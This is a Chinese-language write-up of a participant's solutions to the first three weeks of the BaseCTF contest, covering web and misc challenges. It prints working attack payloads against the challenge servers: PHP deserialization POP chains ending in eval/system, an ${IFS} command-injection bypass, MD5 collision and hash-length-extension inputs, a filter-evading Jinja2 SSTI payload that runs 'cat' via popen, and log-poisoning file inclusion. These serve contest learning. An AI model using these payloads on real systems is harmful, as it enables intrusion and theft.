为什么先发前三周呢,因为我感觉后面的强度我可能吃不消(
第一周
web
HTTP是什么呀
根据题目改数据包,最后提示flag已经出现过了,说明可能是需要抓包看每一步的响应数据
这样就能看见flag已经有了,base64解码就可以得到
喵喵喵
直接就命令执行就可以了
MD5绕过欸
全部用数组绕过就可以了
A Dark Room
文字游戏而已,直接看源代码就有了
upload
传一个php文件进去,包含一句话木马,然后用蚁剑连后门就可以了,这里就不复现了
Aura 酱的礼物
这题其实也是第一次见,遇到了就正好学习一下
首先pen参数需要内容匹配,那就用data://text/plain,xxxx伪协议去绕过,然后分析challenge参数,首先这个参数的开头需要是http://jasmineaura.github.io,但是下面还有一个blog_content函数,可以先查一下这个函数
根据这个其实是需要我们做一个博客,博客的内容就是“已经收到Kengwang的礼物啦
”,所以就需要租一个服务器并部署一个网页在服务器上,这里可以参考其他博主的文章,在阿里云等平台租用服务器。(这里github仓库是不可以的,因为github page不支持多级子域名)
接着绕过strpos函数,这里既然要开头是题目中的网址,又需要跳转到自己部署的网页,那就可以把域名解析时的A记录设置成jasmineaura.github.io,这样就可以通过访问jasmineaura.github.io.主域名。域名后缀,这样就可以正常跳转到自己的网页博客,就就可以绕过了。
接着就是gift执行命令,根据提示SSRF和base64,那么可以用伪协议读取flag.php
misc
根本进不去啊!
这里一开始其实搞不明白,还以为是资产搜集,一通乱扫
提示之后发现是dig扫描,(第一次见)kali自带dig扫描域名,加一个txt既可以得到解析后的文本内容
捂住X只耳
这里卡了很久,看题干吧
试试看消除人声,得到一段新的音频,再看看频谱图呢
是摩斯密码的解码了,这样就可以得到flag了
人生苦短,我用Python
这里主要是不太会脚本,选择手搓,根据脚本的内容,基本的flag都得到了BaseCTF{s1Mpl3_1s_??Tt3r_Th4n_C0mPl3x},只差两位,这里根据经验,应该是better这个单词,用Be成功得到flag,(我了个运啊)
还有一种预期的操作,就是根据给的信息来爆破符合条件的字母
base = 20240815
exp_17 = base ** 0
exp_18 = base ** 1
exp_19 = base ** 2
print(exp_19*95)
# 目标值
lhs_value = 41378751114180610
# 设定 c 和 d 的范围
range_limit = 160
# 暴力破解
found = False
for c in range(range_limit + 1):
for d in range(range_limit + 1):
if 95 * exp_17 + c * exp_18 + d * exp_19 == lhs_value:
print(f"Found solution: c = {c}, d = {d}")
print('最后两个字母:',chr(c)+chr(d))
found = True
break
if found:
break
if not found:
print("No solution found.")
这样根据题目中的信息就可以正常得到Be
得到flag。
Base
这也没啥,KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
一次base32,一次base64
海上遇到了鲨鱼
这里先查看所有的文件,
flag.php文件中就有倒置的flag
你也喜欢圣物吗
这里先解密得到DO_YOU_KNOW_EZ_LSB?,图片zsteg梭之后,就可以看到key=lud1_lud1,用来解密,接着得到一个文件
拿出来打开
UW1GelpVTlVSbnN4ZFRCZmNURmZlREZmTlRGck1YMD0=
正着看还是反着看呢?
这里根据题目就可以得到应该是逆置查看
一眼jpg
写脚本把文件逆置重新打开
import binascii
def reverse_hex_data(input_file, output_file):
# 读取 flag.zip 文件
with open(input_file, 'rb') as f:
# 读取十六进制数据
data = f.read()
# 将数据倒置
reversed_data = data[::-1]
# 写入倒置后的数据到新的文件
with open(output_file, 'wb') as f:
f.write(reversed_data)
if __name__ == "__main__":
input_filename = 'flag.zip'
output_filename = 'a.zip'
reverse_hex_data(input_filename, output_filename)
print(f"Reversed data has been written to {output_filename}.")
接着就能得到flag,BaseCTF{h3ll0_h4cker}
第二周
web
一起吃豆豆
这里要从index.js中找到flag得编码,再base64一下就可以了
你听不到我的声音
这里遇到shell_exec,想到可以用重定向来读取flag
这样再重新访问1.txt就可以得到flag了,这里的>就是将/flag得内容输入到1.txt中,这里胡创建一个1.txt,直接访问/1.txt就可以了
ez_ser
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
这里可以先找到misc中的getflag(),最后是要通过它执行命令,再找到getlag在pnw中由over进入到getflag,往上发现需要触发_get魔术方法才能进去判断。这里的判断就可以直接让dusk等于gods,__get魔术函数 访问不可以访问的属性时触发 比如protected private; 有一个形式参数,所以我们需要访问一个不存在的属性
这里的nonono就是以恶搞不存在属性,所以我们需要从re的chu0进入到pwn,然而进入chu0的判断,还需要触发_toString魔术方法,所以还需要一个字符串输入
而这里的lalala就是需要的字符串,通过触发_wakeuo魔术方法就可以得到字符串
__wakeup:对象被反串行化时(反序列化),所以只要让web类反序列化就可以触发
所以这条链子的顺序是web->re->pwn->misc,下面是完整的代码
<?php
class Misc
{
}
class pwn
{
}
class re
{
}
class web
{
}
$getflag = new Misc;
$get = new pwn;
$get->dusk = 'gods';#满足判断条件,进入getflag
$get->over = $getflag;#成功调用getflag方法
$a = new re();
$a->chu0 = $get;#满足不存在属性的调用,进入pwn的判断,将over->getflag
$b = new web();
$b->kw = $a;#满足字符串,进入re类的判断
echo urldecode(serialize($b));
最后传参进去就能得到flag
Really EZ POP
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
首先链子本身并不难理解,从下网上依次打上去就行,但是这里有提示关于版本问题,第一个类中的私有变量会受到影响,反序列化不会忽略成员变量可访问性,所以我选择重新赋值覆盖掉原本的变量值,所以这里需要定义一个construct魔术方法,这样在销毁的时候调用重新的到一个新的值,其他的就正常连起来就可以了
<?php
error_reporting(0);
class Sink
{
private $cmd = 'echo 123;';
public function __construct()
{
$this->cmd = "system('ls /');";
}
public function __toString()
{
eval ($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __construct()
{
$this->word = new Sink();
}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __construct()
{
$this->animal = new Shark();
}
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __construct()
{
$this->sea = new Sea();
}
public function __destruct()
{
echo $this->sea->see;
}
}
$ser = new Nature();
echo urlencode(serialize($ser));
这里我选择让每一个链子的链接都在类中直接连接,这样可以保证每次销毁时都会连接到下一步
RCEisamazingwithspace
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);
看一眼代码,这里的空格被waf了 用${IFS}绕过就可以了
所以你说你懂 MD5?
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?
来吧!强度微醺了
先看第一个,数组绕过;第二个,可以用数字加字母的组合绕过,选择两个md5后都是0e开头就可以了,因为0e开头在弱比较下都会为0,这样就0=0,成功绕过,比如appple=QNKCDZO&bananana=240610708;最后一个进入,可以参考一下2023楚慧杯的upload_shell,这一步和那题是一样的,这里用到hash_ext_attack,这个可以去GitHub上下一个GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼,对于未知salt的MD5或SHA-1哈希,哈希长度拓展攻击可以被用来构造一个新的有效哈希值,从而绕过原有的认证。这是因为,MD5和SHA-1算法的哈希函数存在一个特定的性质:给定一个消息M和其哈希值H,可以很容易地计算出一个新的消息M',使得M'的哈希值为任意指定的值H'。也就是说我们可以在不知道a的字符串具体字母:(前提知道字符串a的md5值和字符串a的长度) 可以算出字符串(a+b)的md5值 ,b为你自己构造的一个字符串。这样的话就可以构造,
1.因为没有具体明文,所以第一个空着
2,hash值即为random的hash
3,扩展字符为admin,是为了绕过name最后需要为admin
4.密钥长度可以问一下gpt,或者自己尝试,这里是96
这样就可以绕过最后两步,但是有一个问题,最后需要加一个&闭合才能绕过得到flag,不加就一直过不去,这里如果有了解的师傅希望可以指导一下,靴靴~
(贴一个我的payload)
payload:apple[]=1&banana[]=2&appple=QNKCDZO&bananana=4790555361&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
&name=:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=88b713fa0496a6fa1564963b20db9191&
数学大师
先看一眼题目,是网页快速提交
那就直接用脚本去跑就可以,首先需要保存每一次计算的session值并发回服务器,这样分数才会递增,不然就一直是1分,再用正则匹配去匹配最后的式子,这样我选择(\d+[\s÷×\-+\d]+)\?,这里有个小问题,就是这里的运算符号是不能直接计算的,所以我们需要用replace去替换成可以识别的运算符号,脚本再下面,具体可以发到ai来分析一下会更清楚每一步的作用
import requests
import re
import time
s = requests.session()
url='http://challenge.basectf.fun:45610/'
q = s.get(url=url)
txt = re.findall("(\d+[\s÷×\-+\d]+)\?",q.text)
while 1:
print(txt)
txt1=str(txt[0]).replace("÷","/").replace("×","*")
ans=eval(str(txt1))
print(ans)
r = s.post(url=url,data={"answer":ans})
print(r.content.decode('utf-8'))
time.sleep(0.1)
txt = re.findall("(\d+[\s÷×\-+\d]+)\?",r.content.decode('utf-8'))
print(r.content.decode('utf-8'))
misc
二维码1-街头小广告
这里直接扫就可以了,我还以为要修复二维码
反方向的雪
这里首先0010看一眼,最后有乱码
最后pk,一眼压缩包,提取出来逆置一下,下面是逆置的脚本
input = open(r"flag,zip", 'rb')
input_all = input.read()
ss = input_all[::-1]
output = open('m0re.zip', 'wb')
output.write(ss)
input.close()
output.close()
得到一个压缩包,下面那个不是密码,这里的密码可以直接爆破
密码爆破是123456,解压得到一个文本,一直不知道怎么打开,想到压缩包备注的密码,想到可能是snow隐写(还是要和题目联系起来的),密码用备注里提示的密码就可以
Base?!
这个没花头,直接梭,XXencode解码
哇!珍德食泥鸭
这里就是用gbinwalk分解一下,得到一个压缩包
flag肯定在里面,直接简单粗暴一点
海上又遇了鲨鱼
这里先看看有没有内容提示,搜一下base找到一堆流量包,翻了一会找到找到一个flag.zip
那就导出来,发现要密码,流量之前有看见过password,用Basectf!@#就对了,得到flag
黑丝上的flag
stegsolve直接看(最难绷的一集)
Aura 酱的旅行日记 <图寻擂台>
这题谷歌一搜就出来了,在成都博物馆,要不是网速不够快包是拿血的
前辈什么的最喜欢了
Base64转图片,然后直接梭或者010找ctf也可以得到flag,不过好像有些网站转不出来,这个数据有点大,我是用Base64转换图片工具 - 转换Base64编码为图片-优工具,这个挺快的
第三周
web
玩原神玩的
先看第一部分,这里需要len的大小和flag一样·,但是并不知道这里的长度,我们选择用burp爆破长度,我们可以写一个关于len长度的列表,将包发到爆破模块去用密码本去跑,这里贴一个密码本的脚本:
s = ""
with open("./1.txt", "w") as file:
for i in range(100):
s = s + "len[" + str(i) + "]=1&"
file.write(s[:-1] + "\n")
这里爆破的时候注意看长度都是一样的,所以需要看返回包的内容,返回这个我要玩原神就可以了,长度是45
接着就第二部分
这里一开始我以为是用data伪协议去写入,但是貌似直接等于我要玩原神才是对的,想复杂了(
tip=我要玩原神
第三部分就是更直接了:
先写一个m,第一部分等于100%,第二部分等于100%的哈希值再拼接上love100%,就是字面意思,但是注意要把%url编码,不然会被浏览器解析,不能正常绕过了
m[0]=100%&m[1]=love%255e2d121ec0059bcf0ebb8e6ecc0fb3c1
最后是一会返回一个数组,根据这个数组我们可以反向推导出flag的值,用哈希去爆破
import hashlib
def reverse_md5_hashes(flags):
array=[]
for ii,flag in enumerate(flags):
for i in range(256):
if hashlib.md5(str(i).encode()).hexdigest()==flag:
array.append(chr(i^ii))
break
return ''.join(array)
flags=["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","5f93f983524def3dca464469d2cf9f3e","9f61408e3afb633e50cdf1b20de6f466","66f041e16a60928b05a7e228a89c3799","03afdbd66e7929b125f8597834fa83a4","698d51a19d8a121ce581499d7b701668","7f39f8317fbdb1988ef4c628eba02591","44f683a84163b3523afe57c2e008bc8c","9f61408e3afb633e50cdf1b20de6f466","7f39f8317fbdb1988ef4c628eba02591","7f6ffaa6bb0b408017b62254211691b5","a5bfc9e07964f8dddeb95fc584cd965d","73278a4a86960eeb576a8fd4c9ec6997","e369853df766fa44e1ed0ff613f563bd","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","19ca14e7ea6328a42e0eb13d585e4c22","3416a75f4cea9109507cacd8e2f2aefc","202cb962ac59075b964b07152d234b70","b53b3a3d6ab90ce0268229151c9bde11","4c56ff4ce4aaf9573aa5dff913df997a","67c6a1e7ce56d3d6fa748ab6d9af3fd7","d645920e395fedad7bbbed0eca3fe2e0","202cb962ac59075b964b07152d234b70","c0c7c76d30bd3dcaefc96f40275bdc0a","37693cfc748049e45d87b8c7d8b9aacd","3295c76acbf4caaed33c36b1b5fc2cb1","735b90b4568125ed6c3f678819b6e058","4e732ced3463d06de0ca9a15b6153677","6ea9ab1baa0efb9e19094440c317e21b","c74d97b01eae257e44aa9d5bade97baf","3295c76acbf4caaed33c36b1b5fc2cb1","70efdf2ec9b086079795c442636b55fb","fbd7939d674997cdb4692d34de8633c4","8e296a067a37563370ded05f5a3bf3ec","02e74f10e0327ad868d138f2b4fdd6f0","ad61ab143223efbc24c7d2583be69251","43ec517d68b6edd3015b3edc9a11367b"]
original_array=reverse_md5_hashes(flags)
print(original_array)
通过爆破得到flag=BaseCTF{f104c007-a7b6-431b-b35e-7ca995d6d01a}
滤个不停
这里看题目,基本过滤了很多包含的手法,但是还可以用zip和日志包含,因为还有字符判断的限制,所以我们选择用日志包含
先在Datch传入日志文件的漏洞,再在UA头的地方写入命令,执行就可以,但是需要执行两次,一次是包含文件,一次是回显,或者可以直接写一个一句话木马,然后在传入参数执行,同样需要两次执行
复读机
这题,说实话我也不是很会解释,详细还是看官方wp,这题简单属实小看他了,ssti太依赖fenjing了,没有真正手工注过,先贴一个payload
BaseCTF{%print(''['_''_''cla''ss''_''_']|attr('_''_''mr''o''_''_')|attr('_''_''get''item''_''_')(1)|attr('_''_''subc''lasses''_''_')()|attr('_''_''geti''tem''_''_')(137)|attr('_''_''ini''t''_''_')|attr('_''_''glo''bals''_''_')|attr('_''_''get''item''_''_')('po''pen')('cat ${HOME%%root}flag')|attr('read')())%}
主要就是通过attr调用属性,再用管道符拼接使其一步步调用下一个属性,最后用read属性来显示读取的文件,因为/被ban了,所以用cat ${HOME%%root}flag,这里${HOME%%root}就等于/,flag文件就在根目录下
misc
Base revenge
首先这个一眼base64补全,puzzlesolve直接秒,得到一串字符
这个字符比较难看出来,提示hint不太看得懂,所以用ciphey跑一下,结果直接出了
这是一个压缩包
提示是BaseCTF??????FTCesaB,应该是掩码爆破,这里只能选择应爆,爆破了十几个小时得到密码 BaseCTF_h11h_FTCesaB,解出来就是flag
我要吃火腿!
打开一眼兽音,解码得到一个异或脚本
def xor_with_ham(input_file, output_file):
ham_bytes = [0x48, 0x61, 0x6D]
with open(input_file, 'rb') as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= ham_bytes[i % 3]
with open(output_file, 'wb') as f:
f.write(data)
xor_with_ham('Hamorl.jpg', 'Ham.jpg')
因为是异或,所以我们用这个函数再跑一次,把文件位置换一下,就能得到原本的图片
这里可以010看一眼,最后还有一个flag.mp3,binwalk拿出来听一下,发现像电视机没信号的声音,想到是sstv,所以我们用脚本去跑一下
https://github.com/colaclanth/sstv
这里贴一个地址,这可以直接得到解析出的图片,图片上就是flag
纯鹿人
得到一个文档,图片移开全选能发现有空格,所以改一下颜色能看见信息:
解出来得到pwaaword是ikunikun,所以应该是要找一个加密文件,在010查看中发现一个flag.txt,提取不出来,手撕!确实需要密码(,那就是这个了
broken.mp4
这里是需要修复这个mp4,题目也提示了工具的出处,是蘇小沐师傅的文章
https://mp.weixin.qq.com/s/ODVbDRMhOGvk-dWN09uk1Q
根据文章的操作我们修复题目给的mp4,就能看原本的视频,视频里就有flag
白丝上的flag
这里话说,脚本给我我都没用到,就是stegsolve硬看出来了(难道是预期???
BaseCTF{there_is_the_flag@}
外星信号
这里先binwalk一下,得到flag.mp3,老样子sstv,解出来一个图片,有摩斯密码
解出来是一半的flag,在看原本的音频文件,一开始是一段摩斯,但是中间空出来一点,听声音应该还有一段,所以得用脚本去识别判断一下
再摩斯解码一下,就能得到隐藏的flag头
拼接起来改成小写就是flag